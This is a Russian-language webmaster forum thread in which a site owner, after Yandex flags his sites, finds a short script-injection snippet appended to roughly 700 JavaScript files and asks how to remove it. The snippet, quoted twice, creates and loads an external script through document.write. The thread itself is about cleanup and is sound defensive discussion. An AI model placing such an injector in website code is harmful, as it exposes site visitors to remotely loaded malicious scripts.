Недавно Яндекс заблокировал пару  ресурсов с надписью-  вредоносный код на сайте.

Оказалось что во всех js файлах, а их около 700 шт. есть такой код-

/*b44d55*/

function srcc() {
var ff = document.createElement('script');
ff.src = 'mail.ru';
if (!document.getElementById('ff')) {
document.write('

 

');
document.getElementById('ff').appendChild(ff);
}
}
srcc();
/*/b44d55*/

.Подскажите, с помощью какого редактора  можно убрать этот код сразу со всех файлов?

Edited 23 августа, 201311 yr by YOLO

Врятли получиться удалить код со всех файлов сразу. Если это системные файлы,проще их перезалить

во всех js в самом конце, если всё в ручную по одному удалять, часа 3 займёт.

Если обновление версии сделать, они перезаписываются?

Edited 23 августа, 201311 yr by YOLO

Если файлы системные (идут по умолчанию с движком) , то да , перезапишутся

В ручную почистил файлы от скрипта, обновил движок, яндекс разбанил.

Тема закрыта.

Edited 29 августа, 201311 yr by YOLO

Недавно Яндекс заблокировал пару  ресурсов с надписью-  вредоносный код на сайте.

Оказалось что во всех js файлах, а их около 700 шт. есть такой код-

/*b44d55*/

function srcc() {

var ff = document.createElement('script');

ff.src = 'mail.ru';

if (!document.getElementById('ff')) {

document.write('

 

');

document.getElementById('ff').appendChild(ff);

}

}

srcc();

/*/b44d55*/

.Подскажите, с помощью какого редактора  можно убрать этот код сразу со всех файлов?

как вы узнали что именно этот код является вредоносным? Через какую программу или сервис?

как вы узнали что именно этот код является вредоносным? Через какую программу или сервис?

после того как безрезультатно просканировал неоднократно разными  антивирами на компе и антивирусом на хостинге, обратился в поддержку Яндекса, они мне и указали на этот кусок скрипта объяснив что он в жс файлах,  ну и открыв их сам убедился что он там есть, я не знаю насколько он опасен, этот код, но после удаления Яндекс сразу отстал.

От куда он взялся это осталось загадкой, возможно с   другими пробными движками.

Edited 29 августа, 201311 yr by YOLO

после того как безрезультатно просканировал неоднократно разными  антивирами на компе и антивирусом на хостинге, обратился в поддержку Яндекса, они мне и указали на этот кусок скрипта объяснив что он в жс файлах,  ну и открыв их сам убедился что он там есть, я не знаю насколько он опасен, этот код, но после удаления Яндекс сразу отстал.

От куда он взялся это осталось загадкой, возможно с   другими пробными движками.

благодарю, у самого просто подобная проблема, чтож, буду писать в ТП Яшки